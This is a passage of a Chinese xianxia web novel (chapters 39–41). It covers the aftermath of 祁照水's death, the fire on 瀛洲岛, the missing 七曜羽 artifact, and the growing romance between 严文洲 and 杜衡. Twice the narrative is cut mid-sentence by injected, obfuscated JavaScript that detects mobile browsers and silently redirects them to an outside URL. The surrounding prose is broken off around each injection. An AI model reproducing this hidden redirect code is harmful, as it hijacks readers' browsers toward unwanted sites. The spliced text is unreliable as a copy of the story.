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小蓬莱在东洲仙道中地位超然,方丈岛纵然不及瀛洲岛,可也许久没有受到过如此嘲讽了,方丈岛主登时怒不可遏,拎出一根赤红铜杖攻了上去,嘴上还闲不住地骂起来:“区区金丹,也敢如此狂妄!我这便替你师傅好好教教你!” 甫一交手,严文洲便知道自己从前定然和这人打过,而且事后定然仔细揣摩过。无论这人出什么招式,他都像是早有预料一般,见招拆招不在话下,丝毫不见吃力。 而此时,方丈岛主也意识到了些许不妙——这人怎么像是见过的,而且这招式…… 方才喊归喊,他心里本不觉得瀛洲岛的惨状是这个金丹修士造成的,多半是这修士的师长使诈,这便想先活捉了这小子,到时候谈条件也好,直接杀了也罢,进退都可以。可眼下刀光照了几番,又瞥到这修士过于俊美的眉眼,尘封了数百年的往事顿时翻涌而上! 心神巨震之际,密不透风的棍法霎时多了一丝破绽,严文洲叹了一声,“对,你想的没错。” 方丈岛主下意识变招,要直接痛下杀手,然而已经完全来不及了,眼前陡然多了一片耀眼到极致的白光,耳边响了四百年的波涛声不知何时停止了,万籁俱静。 轰——炼虚期的全力一击,一个靠得如此近的化神期自然是逃不过的,方丈岛主连元婴都没有逃开,一并在最后一枚拜师玉符中灰飞烟灭。 有杜衡的秘法在,严文洲并不惧玉符伤到自己。 待到余威散尽,远处海天一线,脚下波涛兀自荡漾,若不回头看,便是一片澄澈天地。 “当真是个好地方。” 除却千年前分出的岱屿一支,小蓬莱共有瀛洲、方丈、员侨三支,眼下还有一个员侨,唔,还得加上祁照水的本体和小蓬莱镇宗重器七曜羽。 上尸死,瀛洲岛焚毁,这么大的动静祁照水都没有亲身出现,那定然是在鞭长莫及之处了,可七曜羽呢? 严文洲心知肚明,若有七曜羽在,天魔劫火没那么容易燃遍瀛洲岛,那几个长老和祁照水的上尸更不会命丧自己之手。 甚至于,即便是小蓬莱掌教历代都会献祭某一部分给天渊,如此“契约”也不会那么容易被天魔破坏。 他散开神识探了一阵,忽地想起来,看祁照水的样子,他定然入魔久矣,可这么多年里,这人却一直稳坐小蓬莱掌教的宝座,甚至于,还修出了一个半死不活的上尸,若没有东西遮掩,定然不成。 七曜羽是半仙器,且传闻中并没有诞生灵智,帮祁照水稳住心魂不在话下。 若七曜羽和祁照水本体一起出现,以自己现在的修为,只能是送菜。 “统兄,你可知祁照水本体如今在何处?” “……呃,不知道。” 严文洲皱了皱眉,也不管系统是真不知道还是装不知道,转身朝海国方向而去。 十来丈的功夫,他又停了下来——一人飘然而至,一身小蓬莱服色,修为已至化神大圆满,不是岛主便是长老。 见他停住,那人也霎时止步。 隔着百来丈,两人遥遥相望,谁也没动手。 严文洲没认出这人,也摸不准这人要做什么,等了几息便给系统送了道心音,“统兄,你可认识那是何人?” 似乎生怕严文洲又冲了上去,系统语速都加快了几分,“员侨岛岛主,当心,当心,当心!” 员侨岛?另一张有些苦相的陌生脸庞划过脑海,严文洲细细端详了一会儿,和眼前这位还算得上俊美的员侨岛岛主完全对不上号。 不过,事到如今,想来眼前这位岛主也不会放过自己。 事实的确如此,一股微妙的危机感逐渐爬上脊背,严文洲垂眸,紧紧握住白鱼刀。 一触即发 瀛洲岛上的天魔劫火仍然没有熄灭,呼号与惨叫混着波涛声在风中遥遥传来,偶尔还有几声辽远的鸟鸣。 严文洲数着呼吸,危机感愈发浓重,他手腕微微抬起,正要凭直觉劈出一刀时,凭空降下另一道浩荡气息,“徒儿,原来你在这里,倒叫为师好找。” 39.天魔来处(四) 紧绷的气氛顿时被毁得一干二净。 员侨岛岛主惊愕地盯着踏虚而来的杜衡,简直不敢相信自己的眼睛——半步合体?!几年不见,这人竟然修炼得这么快么!?还有,这两人是怎么回事!? 严文洲眸光微沉,隐约嗅到了一股熟悉的气息。不等说话,杜衡便直接伸手揽过了他,轻声问道:“可曾受伤?” “……不曾。” 杜衡满意地点头,眼神在远处的员侨岛岛主上停留了刹那,又回转到怀里的青年上,颇为欢喜。想了想,他微微低头,耳语道:“那人可要杀了?” 温热气息扑在耳畔,这个距离已经太近了,可到底比不上天渊中发生的事。严文洲眼神微妙,忽然发现自己很快就习惯了这人越过师徒伦常的举动。当然,杜衡也很不对劲。在遇到自己之前,他到底在天渊中看见了什么? 奇怪之余,他隐约察觉到了几分满足。难道,是因为垂云汀那次意外么? 至于这位员侨岛主,留下也不错,杀了应该更好。 员侨岛主只觉背上一冷,刺骨杀机已然锁定了自己。 好在于此同时,又有几道强横气息掠过小蓬莱地界,停在了此处海面上,然后是更多。十来个呼吸后,粗略一数,无论仙魔,东洲数得上的实力几乎都到了小蓬莱! 他心里一沉,意味深长地看了眼已经被杜衡护在身后的严文洲,再没有动手的打算。 瞧见瀛洲岛遍地劫火的惨状,跟着杜衡飞驰而来的各派长老们再度炸开了锅: “哦呦呦,这都是做了什么孽?” “祁——掌教不在,长老们总是有在的吧?人呢?” “快快放几道雨咒扼住火势!” “若招来些雨水便可扑灭,小蓬莱还会等到现在么?清河使,还请出手,我等不吝重谢!” “你脑子进水了?!他是东极道的人!” …… 数双眼睛停在了清河使上,白雾纹丝未动,只有一道略带笑意的声音传出来,“诸位,不是我不想帮忙,实在是我也帮不上忙啊。天魔劫火乃是心火,我这四海真水是灭不掉的。” “这是天魔劫火!?” “贫道今日算是长见识了!” “若这是天魔劫火,那、那这些小蓬莱弟子岂不是……” “等等,我记得典籍中曾言,天魔劫火非天魔极盛之地不能生,小蓬莱灵气缭绕,怎么会有此等邪物,清河使道友莫不是看错了?” “敢问,天魔劫火是何物?” “那该如何扑灭?眼下可是人命关天啊!” …… 才安静下来的长老们又炸锅了,五百只鸭子一下升级成五千只,吵得连风声和波涛声都被压下去了,谁也没敢下去探查。 也不怪他们如此失态,毕竟天魔已是寻常难得一见之物,若非近段时间四洲频发天魔祭事件,恐怕他们都要把这个词给忘到天边了,而天魔劫火在此之前更是只存在于故纸堆里的东西,有些修士甚至根本没听过这个名字。 严文洲冷眼看过去,魔道修士自是老神在在,毕竟向来没什么助人为乐的传统,而且左右烧不到自己头上,可仙道修士是真心还是假意却也难说。东洲不似南洲,有太清宗一家独大,小蓬莱不过占个人多势众,外加十分乐意管闲事的性子,才有个仙道之首的虚名,真论实力,有两位合体大能坐镇的九霄剑派倒是要高它几分,而论底蕴,还真山庄也不逊于小蓬莱。 即便是这两个不想,受制于小蓬莱的门派也多得是人想。 吵了一阵,终于有人发现了远处的员侨岛岛主,立刻有相熟的把他招呼了过来,“道友,你可知瀛洲岛发生了什么?” 员侨岛主如丧考妣地飘过来,悲伤摇头,“我原是在闭关,忽然心有所动,出来时已然回天乏术!” 这个理由正当得不能再正当了,修士么,闭关才是家常便饭,况且员侨岛本就是离瀛洲岛最远的一座岛,再加上他化神期的修为,来得早恐怕也干不了什么。众人长吁短叹,安慰了几句便转向杜衡,眼神十分期待。 “杜宗主,毕竟都是仙道同盟,这火如此蔓延下去也不是办法,祁掌教既然已死,前尘往事便可一笔勾销,不知杜宗主可有什么扑灭天魔劫火的办法?” 严文洲闻言一怔,惊愕地看向杜衡——祁照水死了,死在了杜衡手里?这便是他晋升合体的机缘!?单修推演天机,能杀得了一个成名四百年的大修士? 察觉到了严文洲的情绪,杜衡给了一个安抚性的眼神,示意稍后再说,便对着众人缓缓摇头。 众人又一阵叹息,发传讯飞鹤的发传讯飞鹤,探头探脑的探头探脑,正欲再想办法时,何知意却站了出来,“我派曾有先人以春风剑法熄灭天魔劫火的记录,只是年深日久,我也没有十分保证……” 话没说完,在场的各宗长老便是一叠声应好,何知意无法,只得上前,凝神斩下一片剑雨。 严文洲堪堪回神,见剑雨落下后,瀛洲岛上的天魔劫火果然减弱了几分。只是若要以春风剑法灭劫火,恐怕还得再来百十来个何知意才行。 他不由一笑,心想这火起自祁照水,左右也与自己无关,自己不过是一个侥幸从天渊搏出一条命的无名小卒而已,还呆在这里干什么呢?于是拉了拉杜衡的衣袖,使了个眼色。 杜衡不知想到什么,十分高兴,嘴角弧度都高了些许,直接带着严文洲转身离去。 他做得并不隐蔽,当即便有修士发觉了,可一看离去的人,他们便若无其事地扭过头。一来,太易宗已然不在东洲,二来,这人和小蓬莱已经结下了难解的仇怨,三来,他离开海东城时便说是找徒弟的,既然找到了,自是该走了! 一见有人走了,不少魔修长老也动起了脑筋,眼珠滴溜溜地转起来,甚至有行事不羁一点的,直接驾着流光窜得飞快。 小蓬莱距离飞仙城足有万里,严文洲登上飞舟后看了眼方向,约莫仍然是朝海东城方向而去的,也不知杜衡是个什么打算。想了想,他问道:“师尊杀了祁照水?” 杜衡回身看他,似笑非笑,没说话。 这表情十分熟悉,不久前才在天渊里看见过。严文洲先前已听他亲口说过,自己是推演天魔来处时不慎被拉入天渊,因此在天渊中时,虽然这人行为古怪,但权当是被天魔影响了。 然而此时此刻…… 若是在几个月前,严文洲觉得自己多半是十分高兴的,而此刻,他只担心自己会不会也是杜衡晋升合体的机缘之一。因此,他假装没看见杜衡微妙的神情,“听闻祁照水曾往太易宗来讨岱屿岛传承,不得后逼迫太易宗南迁,师尊可是为了这件事杀他的么?” 杜衡仍不答,甚至扭头看着外面云海,一副要参禅清修的模样,只是嘴角笑意消失不见了。 严文洲素来吃软不吃硬,若是寻常时候杜衡要他换了称呼,他喊两句也无妨,可眼前这人要逼着他改口,他便不乐意了,冷冷道:“师尊难道也是如祁照水一般,被天魔迷惑了心智么?垂云汀一事是我有错,拖了师尊下水,只是今时不同往日,师尊毕竟不是那人。” 闻言,杜衡终于大发慈悲地回了头,眼神莫名。 严文洲背后一冷,便看杜衡往这里走了几步,俯下身问道:“你是说,你仍然喜欢温蘅?” “……师尊是怎么得出这个结论的?” 杜衡又不说话,灰蒙蒙的眸子直勾勾地盯着他,似乎不逼他换一个称呼誓不罢休。 严文洲还是头一回见到这么执着的杜衡,还是事关自己,不由为之叹服。正想设法敷衍过去,便觉有一道强横至极的气息飞掠过去,正是朝小蓬莱的方向。两人心中一动,停了云舟,齐齐看过去。 一圈金色禁制沿着小蓬莱三岛围了一圈,陡然落下,无数灵气顿时朝小蓬莱处涌过去,掀起的长风将云海搅得奔涌不止,风中依稀传来那堆长老的叽叽喳喳声。 隔得远了些,但谁都知道来人是谁。 严文洲有些惊愕,“明朔剑尊?” 杜衡扫了一眼,觉得本体还是来得慢了点。冷笑了一声,他状似无意问道:“文洲见过明朔剑尊?还是曾经与明朔剑尊有旧?” 严文洲心头一跳,“阿蘅怎么这么问?”话一出口,他自己恨不得咬了舌头,然而杜衡却并没有高兴起来,反而莫名其妙地十分酸楚地看了他一眼,再度催动云舟往海东城而去了。 翌日,海东城逍遥茶楼 “……欸客官您的菜齐了,要是有事儿,您再叫我!”小二动作麻溜儿地放下最后一道汤,关上包厢门,退了出去,脸上的笑意止也止不住。 今天运道着实不错,碰上了位大主顾,人虽然古怪了点,既不要唱曲儿的,也不要说书的,只听了听今日的新闻,赏钱却给的是真大方! 他摸了把兜,愈发高兴。 门一关,严文洲除了伪装,看着满桌子热气腾腾的菜,幽幽叹了口气。昨日一下云舟,他便觉得周围修士看自己的眼神不太对劲,准确来说,是看杜衡和自己的眼神不对劲。本想逮个人问一问,可不过眼神接触,那群素来好聊闲事的修士便跑了个一干二净。 当时还不明缘由,今日便都清楚了——祁照水当众入魔,杜衡悍然出手灭魔,东洲仙魔两道长老看得清清楚楚。 据方才那小二说,两人之间一共就出了三招,第三招过后,祁照水便身死道消,除了这位小蓬莱掌教,损失最严重的只有海东城城主府的禁制。 他原以为两人是经历了一番苦战,还曾惊异过杜衡为什么气息如常,没想到居然如此戏剧化。不声不响杀了东洲仙道一号响当当的人物,之后还去小蓬莱寻人,杜衡也真是了得。 严文洲支着脑袋想了一阵,觉得当时城主府的场景一定十分有意思,只可惜自己没见到。吃了几口菜,他悠哉游哉地系统送了道心音:“对了统兄,劳烦你再播报一边诛杀祁照水的奖励,我倒是有些记不清了。” “……未知机缘一份。” “唔,何谓,未知?” “我也不知道。” 严文洲一点没耽误地给自己舀了一碗被小二吹得天花乱坠的金玉汤,“统兄,想来不用我说你也知道,所谓机缘,有好有坏,有人因此一帆风顺,有人直接没了性命,你弄一份什么都不知道的机缘来,莫不是想敷衍我?” 系统恨死了严文洲玩弄心音的精巧本事,旁人使来平淡无波的东西在他手里硬是能拗出九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223455|194632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转十八弯,听来情真意切,此时话语里的阴森一点没有损失,哪怕知道这人是在吓唬自己,可总是想着万一这人真生气了…… “我、我……这都是主系统定的,而且诛杀祁照水又不是你一人的功劳,怎么能全算在你头上!这、这样已经很好了!”生怕严文洲还继续威胁,它还十分狗腿地补了一句:“宿主既然连天渊那种地方都能安全出来,想来小小一份机缘定然是不在话下!” 严文洲笑了一声,这玄天卷分魂居然还学会拍马屁了! “三尸术若不修到圆满境界,每断一尸都是对本体的巨大伤害,统兄想来也知道这事吧?我虽没有手刃祁照水,但大大加快了任务进程啊!小小一份机缘怎么够?” “……最多再加一笔中品灵石!三万!” “不够。” “……五万中品灵石加偶遇药王谷谷主!呜呜呜,宿主你放过我吧,真的不行了。” 严文洲仍是不太满意,灵石就算了,总归是需要的,太易宗主殿的门窗总不能直接用山里那些凡木吧? 可药王谷谷主在这里充什么数?他一不是炼丹师,二不是用毒的,三来也没什么要他治的病,更别提这人性格古怪,堂堂一大炼丹师,活得跟兽王一样,药王谷里四条腿儿的比两条腿儿的多得多,一进谷便能沾得一身细毛。 然而他也知道不能把系统逼得太过,于是勉强应了声好,又立时催促起来,“灵石何时到账?” 系统松了口气,“这笔灵石太多了,你得等等,这样今天你先去最近的赌场里随便玩个三局,算你八千中品灵石。过两天我再给你一条消息,你可以卖给细雨门或者无极谷,这样又是三万,至于剩下的,再等上一个月,如何?” “唔,行吧。” 楼下的说书先生又开场了,严文洲推开窗侧耳听了一阵,觉得还不错,掰开半枚中品灵石飞了过去。 说书的也是个修士,只是资质有限,修为低微,今天还是头一回见到这么纯净的灵石,顿时更加卖力,醒木都要被他拍烂了,“却说那太易宗杜宗主当真是临危不惧,抽出柄拂尘便与祁照水战起来,顿时天地失色!那祁照水早已入魔,又岂是杜宗主的对手,只听当啷一声,祁照水的长剑便被击落到地上……” 海东城是魔修地盘,他在这里说得唾沫横飞,直把祁照水说成一个卑鄙小人也无人会管,说不定还有人嫌他说得不够劲,若放在仙修麾下的城池,只怕这人此时已经连魂儿都散尽了。 若是祁照水一身磊落地死在杜衡手里,海东城此时应该已经挤满了来讨个说法的仙修,可偏偏这人已经走火入魔,这便犯了仙道一大忌讳,而且小蓬莱此番也元气大伤,往后的事情就难说了。 严文洲眯了眯眼,觉得今日这种悠闲日子恐怕没多久了。还是得先纵情享乐一番。念头刚过,耳边便响起一道阴魂不散的声音:“文洲怎么躲到这里来了,倒叫我好找。” 杜衡约莫是跟夜游宫主讨教了什么秘法,悄无声息地就进了包厢,此时已经施施然坐在了严文洲边上,侧头看着他,眨了眨眼,“若文洲想听这些,何不来找我,这人说得虽然精彩,却错漏处颇多,实在当不得真。” 严文洲一阵牙酸。 这人也不知吃错了什么仙丹妙药,铁了心不管两人之间名存实亡的师徒身份,一口一个文洲叫得起劲,也亏得洞天别院里只有他们两人,要不然下一个“走火入魔”的就是杜衡自己了。 然而这人越是这般,他越是觉得奇怪——垂云汀之后,杜衡并无异样,怎么一到天渊里就不对劲了? 严文洲甚至有种感觉,杜衡已然完全猜准了自己的身份。 见还是不说话,杜衡再度开口,语气却微妙了起来,“文洲怎么不说话了,难不成是还在想那位剑尊么?” “……唔,确实在想他。”严文洲叹息着点了点头,眼角余光中,杜衡一下变了神色,向来柔和的眉眼几乎染上了几分杀意。 严文洲不动声色,又慢吞吞:“听闻剑尊在小蓬莱设下三清化气阵以消融天魔劫火,不知小蓬莱现下如何了?” “天魔劫火烧的是人心,小蓬莱自然是元气大伤,”杜衡的失态只持续了短短一瞬,很快便恢复到了惯常的平和,“三位岛主只剩下一个员侨岛主,修为还不甚高明,怕是撑不住小蓬莱。” 严文洲却不打算放过他,脑筋一转立刻道:“剑尊向来于玉虚峰顶闭关清修,怎么这回突然到了东洲,还赶巧碰上这回事,难不成是早有预料?” “……听闻那一位修的是太上忘情的法门,应是算不出来的。” 严文洲才不信什么世间传闻,什么太上忘情的,世间传闻中自己还是个无恶不作的大魔头呢。没多犹豫,他趁热打铁继续道:“海东城传闻明朔剑尊又收了一个弟子,可是……” 砰——话没说完,他便听到一声巨响,回头看去,包厢的窗户已经都关上了,而杜衡十分不满的声音也响了起来,“文洲很仰慕明朔剑尊?” “……明朔剑尊修为高强,斩妖除魔积了无数功德,拥趸者无数,弟子仰慕不也是很正常的么?” “那文洲可知,明朔剑尊姓温,名长玉,字蘅?” “……有所耳闻。” 40.天魔来处(五) 包厢内安静得落针可闻,唯有几声说书先生的高呼偶尔从窗户缝里透进来,寥寥添上些许热闹,只是散去之后很快变得更冷清。 严文洲幽幽叹了口气,开始拙劣地找补,“天下同名同姓者无数,明朔剑尊就算是修为绝世,想来也无法强迫所有修士避开他的名讳。” 杜衡没说话,灰眸直勾勾地盯着他,意思十分明显——你自己信么? 见这人搬出了这么一个大杀器,严文洲简直是无语凝噎,几乎有了夺门而出的冲动。可眼见这位杜宗主表情愈发失落,眼中水光盈盈,似乎伤心得紧,他的心便莫名其妙地软了,甚至十分无理地偏了。 总之自己已经和明朔剑尊反目成仇了,要不然……也不知哪个词刺激到了时灵时不灵的神魂,一股熟悉的剧痛陡然炸开,严文洲眼前一白,不由自主地栽倒下去。 再回神时,眼前已经不是茶楼棕褐色的天花板了,而是洞天别院厢房里熟悉的玉白帐顶。他下意识坐起来,有些奇怪——他方才什么也没想起来,似乎只是昏睡过去了。 可检查了一遍神魂,仍然如之前那般,既没有少了什么,也没有多了什么。想了想,他给系统送了道心音:“统兄,方才可有发生什么?” “没有。” 严文洲下意识觉得系统隐瞒了什么,但杜衡已经推门进来了,且径直坐到了床边,眸光发沉,语调幽怨,“那一位弃你而去,你便如此伤心?” “只是旧伤发作,”严文洲不敢再多言,直接问道,“师尊可曾听过镇命法?” 杜衡执着地看着他,没说话。 “……阿蘅。” 杜衡欣然点头,十分满足,“能镇命者唯命而已,以一人半数心血半生修为换另一人命格改换之机,即为镇命法,不过这只是传闻,具体如何我也不清楚。只可惜门中典籍尽数毁于南迁前的大火,要不然便有更可靠的记录了。” 这已经够了。 严文洲心中巨震,若传承珠中那位江家前辈所言非虚,那便是有一位好心人以极高的代价救了和明朔剑尊相斗后落败的自己?这得是天大的好心吧?他何德何能有这么一个对自己掏心掏肺的友人?! 若不然,以如此巨大的代价救一个声名狼藉又位高权重之辈,隐于幕后那人是有什么天大的谋算!? 他正是惊骇之际,完全没发现杜衡此时的表情也十分微妙,像是了然又像是鄙夷,更夹杂着些许嫉妒。 严文洲呆想了许久,再回神时面前多了一杯热茶并一盘精致糕点,杜衡离他更近了一点,银绸似的长发几乎擦过他的脸颊,“多思无益,事已至此,还是要多想想以后。” 这距离已然太近,严文洲本该觉得不适,但奇怪的是,他却觉得这一幕有种古怪的似曾相识感,似乎曾经发生过许多许多次。 就连这人…… 心跳再度不受控地多跳了一下,严文洲声音不自觉地发飘,眼神却纹丝不动,“阿蘅不再多问问?” “问什么?”杜衡一歪头,眼神纯良得跟雪兔一样,似乎完全不知道严文洲在指什么。 问什么?自然是问我到底是谁啊?严文洲觉得有些古怪,顿了许久才笑道:“那阿蘅何时喜欢上我的?可曾算过是朵漂亮桃花还是朵烂桃花?” 杜衡的眼神一下变得极幽深,好半晌才道:“不记得是什么时候了。我虽没有算过,不过事在人为,也不是什么事都是天道定好的,不过文洲这朵桃花定然会一直开下去的。” 这人说得珍重又温柔,似乎一说出口,便再无变移,颇有些海誓山盟的意味。严文洲难得有些糊涂,像是在飞剑上滴溜溜转了百八十个圈,刚刚才下来一样。换做寻常,这种花言巧语他必不会理睬,嘴皮子动动而已,能信几分?可这话从杜衡嘴里说出来,就是不一样! 严文洲做事向来没什么一以贯之的准则,说随性也好,说放荡也罢,此时此刻只是觉得莫名高兴,便主动贴过去,没什么章法地吻了一下。 这一回,先炸的却是系统,“啊——先等等!我不要看!你们、你们真是一丘之貉、狐朋狗友、近朱者赤近墨者黑 严文洲一下被吵得脑仁疼,意识到方才自己做了什么后,眼睛一下瞪大了,然而却也没有太多后悔,想来这件事总是要发生的,不过早晚而已。 再看一眼,他甚至考虑了一瞬要不要再来一次,毕竟杜衡像是完全没反应过来,而且方才自己也有些神思不定,没怎么有感觉。 不等他实施行动,一连串传讯飞鹤的敲门声响起。 杜衡率先叹了口气,指尖灵光明灭,刹那间外面便消停下来了。做完,他便眼神发亮地盯着严文洲,十分主动地凑过来…… 咚咚、咚咚、咚咚—— 严文洲心中古怪,在气息纠缠中艰难寻出了一瞬间隙,“此事不急于一时。外面许是有什么大事。” 杜衡含笑,“此事也须专心。” 许是见洞天别院里没反应,传讯飞鹤也发了狂,一道尖锐而僵硬的声音隐隐传来,“七曜羽失踪啦!七曜羽失踪啦!” 两人:“……” 七曜羽失踪可不是如祁照水身陨那般可以含糊过去的事情,一个是传承千年的半仙器,一个是走火入魔的炼虚修士,用脚趾头想都知道是前面比较重要。 这烫手山芋是祁照水带过来的,就算是事主死了,按理说也该由小蓬莱长老再带回去供着,可实在不巧,这位对小蓬莱忠心耿耿的长老一开始就被发疯的祁照水捏死了。 魔道长老们自是对这种完全用不了,接近一点还十分不舒服的东西完全不感兴趣,而剩下的仙道长老们虽然感兴趣,但一看小蓬莱掌教死了,便也不想掺和进这档子事,一个个借口给海中有异动需要查看,就跟闻着肉味的狗一样撒腿跑到了小蓬莱,在那儿呆看大火。 于是乎,七曜羽便落到了东道主夜游宫身上,这些天一直在海东城城主府的库房呆着,等着夜游宫主找人交接。 人选么,说实话已经没得选了。 小蓬莱这一代本就有些青黄不接,天魔劫火这么一烧,只有一个员侨岛主还能看了。 夜游宫马不停蹄地发了传讯,员侨岛主也一刻不停地赶来了,可今天一开库房才发现,七曜羽已然不翼而飞了! 当下,他便如勤劳的小蜜蜂一般,把所有还赖在海东城不走的仙道长老都拜访了一遍,小蓬莱的衰落虽然已势不可挡,可鉴于有魔修这个共同的敌人在眼前,还有一道天渊封印在海里晃荡着,大部分门派也没怎么落他的面子,找了一处别院再次议论得热火朝天。 仙修们还需找地方,魔修们却不用,直接听着消息自发聚集到了城主府,开始骂骂咧咧。 似乎生怕杜衡出现又惹出些事来,夜游宫主十分贴心地送来了两块风声石,两边叽叽喳喳的声音立刻将略显寂寥的花园装点得十分热闹。 “此事定与我魔道无关,我们魔修要一件半仙器做什么?” “我看呐,这说不定是小蓬莱自己搞得鬼,然后栽赃陷害到我们头上!” “是啊是啊,以我等修为,虽然已经不至于直接被灼伤,可到底还是会被压制,偷这么一个废物是嫌自己命太长么?宫主您看该怎么办?要不然直接把他们都赶出去?” “此计不妥!倒像是我们心虚了一般!” …… “夜游宫真是欺人太甚,半仙器对他们来说根本就是一件无用的法器,居然也要偷!” “道兄说笑了,怎么会是无用呢?小蓬莱少了一件半仙器,那便是我们仙道少了一件半仙器,如此一来,他们魔道不就气焰更高一分了么?” “不错!况且这本就是夜游宫的地盘,要偷不是轻而易举么?诸位道友,我有一个想法,夜游宫虽是魔道,可城主府中不正有一个仙道么?夜游宫甚至不需动手,只需稍一暗示,那人便可将七曜羽收入囊中! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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东极道前任尊主,传闻中那位被唯一的徒儿砍了一刀不幸身陨的倒霉蛋。不过按照严文洲那些零零散散的记忆,这位前东极道主并不如传闻中那般嗜杀成性,所以这传闻可信度为多少,实在可疑。 然而此刻,他却还想起了另一个人——钟慎。 那傻小子定然是跟东极道主没关系了,那身上的魔气又是从哪里来的呢? 杜衡想了一下,点头,“若他没死,按照他的修为,确实能做到神不知鬼不觉地偷走七曜羽。” 夜游宫主的眼神快速在两人间转了一圈,疑心这两人是装傻呢,还是真没听出自己来意,想了想索性挑明道:“听闻谢渡最喜少年才俊,两位在这海东城中都是一顶一的人物,若是碰到疑似谢渡的修士,还请两位告知他一声,七曜羽虽好,久留恐怕有害。” 说完,她松了口气,觉得自己多添了一段还是很有些掩饰效果的。 杜衡:“……” 严文洲:“……” 原来如此。找不到谢渡,便来找谢渡唯一的徒弟。 有道理! 他并不意外夜游宫主认出了自己,毕竟夜游宫在魔道中实力颇为不错,见过东极道主很正常。只是不知杜衡知道了多少,这人聪明,若不是被垂云汀天魔忽悠了一下,恐怕早就猜到自己身份了。 唔,不过那段往事也不是什么秘密,稍一查证便可清楚,这人到底想做什么?正发愁,他便听杜衡开口道:“自然。在海东城暂居多日,还要多谢闻宫主的帮忙,寻找谢尊者我们自会尽力。” 严文洲正要跟着点头却听杜衡继续道:“不知闻宫主可有什么灵气充裕之地,我恐怕要闭关几日。” “……有,道友尽可随意使用。” 41.天魔来处(六) 当日,他们便带着整个洞天别院挪了一处地方,灵气充裕得凝成了云雾状的实体,颇有几分当年垂云汀的模样。 杜衡需要闭关,严文洲也需要。虽是重修一遍,但修为进得太快到底有些虚浮,于是便老老实实地在其中清修了三日。 再多却也不能了。 七曜羽之事不知是被谁走漏了风声,传得沸沸扬扬的,并且不出意外地惊动了还窝在还真山庄谈诗论道的仙修们,飞往海东城城主府的飞鹤每日都如同雪片一般,连带着此处洞天别院也受累,夜游宫主每日必送一只传讯飞鹤来催。 今日,事情已经进展到茶楼的说书先生都开始说起了这最新鲜的大书了。 刚过午,严文洲沿着海东城主街转了一圈,除了尝了些许特色鱼糕,一无所获。眼下记忆不全,虽说是对谢渡有了一个大概印象,但实在记不清那位长什么样,更何况,一个至少合体期的魔修,改换一下面貌不也是轻而易举么? 别处线索没有,但严文洲看着随处可见的海珠,倒是想起了那颗被他闲置已久的蜃珠。然而清河使、朱湛使这两位左膀右臂似乎并不如传闻中那般可靠,话音才落下,朱湛使便支支吾吾地表示,前任魔尊行事不羁,自从离开东极道后便杳无音讯,就算是找无极谷买情报想要找到他,也难如登天。 既然如此,他便也打算直接回洞天别院巩固修为了。 “等等等等,宿主你先别走!药王谷谷主要来了!” 严文洲脚步一顿,要不是系统主动提起,他都快忘了这茬了,“在哪儿?” “出门右拐直行十二丈,就在街对面!” 半炷香后,严文洲瞪着一条毛发散乱稀疏,疑似有皮肤病的棕黑野狗陷入怀疑,“你说这是药王谷谷主?” “……对。” 严文洲掉头就走。他本就不稀罕这份机缘,如今一看这狗的模样,顿时疑心记忆里那一位药王谷主的头疾快没得治了。 然而一直到城郊的洞天别院门口,这条不平凡的野狗还执着地跟在后面。严文洲只当它只是一条狗,视若无睹地一脚踏进禁制。 第二日,他险些没能成功迈出门——一人长的大狗横卧在别院门口,将禁制出口堵得严严实实的。严文洲脚尖一点,凌空飞跃,离开。 系统没忍住,“宿主,他亲自都上门了,这样不理不好吧?” “等他变成人再说。” 七绕八拐,严文洲一路溜达进了海东城最繁华、最下流的一片坊市,奢靡程度较之飞仙城西市简直一个天一个地,处处体现着传闻中魔修荒淫无度的风范。 系统大惊失色,在心海里叫唤得跟哨子成精一样,“啊啊啊,宿主你要去干什么!?你、你可别忘了你还有你的杜宗主!要是你死了……” 含笑跟窗户口探出上半身,衣着十分清凉的乐姬打了个招呼,严文洲长叹一声,“统兄,你的心未免太脏了。我不过是来寻人而已,你想到哪里去了?” “……谢渡?” “不错。你虽然算不出钟慎如今的命途,但以你前两次的预测来看,谢渡酷爱在此处的歌舞坊里逍遥度日,统兄莫不是忘了?” 系统觉得严文洲在阴阳怪气,只是没有证据。憋了许久也没憋出个屁来,它眼睁睁地看着宿主掐了个诀大摇大摆地进了某座金碧辉煌的歌舞坊,十分嚣张地指定了一张角落里的临街桌子。管事娘子面露难色,不过一扫面前的灵石,便立刻喜笑颜开地答应了。 严文洲十分满意,又多要了十坛上乘的灵酒,一遍自斟自酌,一遍侧耳听着八卦,还留出一双眼睛看着莲花台上舞姬飞旋若仙,好不繁忙。 “听说那位员侨岛主哭得一把鼻涕一把泪,就为了逼还真山庄的教习表个态,如此看来,所谓仙修的骨气也不过如此么!” “所以那还真山庄答应了么?” “哪有可能不答应?总不见得那群书呆子愿意自己顶替上去守天渊的封印吧?” “诸位有所不知,那还真山庄还真没立刻答应下来!” “嘿嘿,祁照水一死,七曜羽一丢,小蓬莱这么一块大肥肉谁不想沾点油水?我要是哪个门主宗主的,我现在就去抢地盘去!” …… 严文洲扫了一眼那人,膀大腰圆,一人顶了两人的座位,赤膛面孔看着跟凡间守门神一样,一看便知不是夜游宫修尸道的。不过片刻,这人已经洋洋洒洒讲了一串还真山庄该如何蚕食小蓬莱地盘的“妙计”,看样子,崔瑾不请他做客卿真是可惜了。 侧耳听另一边,一口黑锅从天而降—— “都说东西是咱们魔修偷的,可他们也不想想,我们要这等东西干什么!不过我觉得东极道那一位确是有可能!” “是也是也!他曾经可是实打实的仙修啊,有点什么秘术也说不一定呢!” 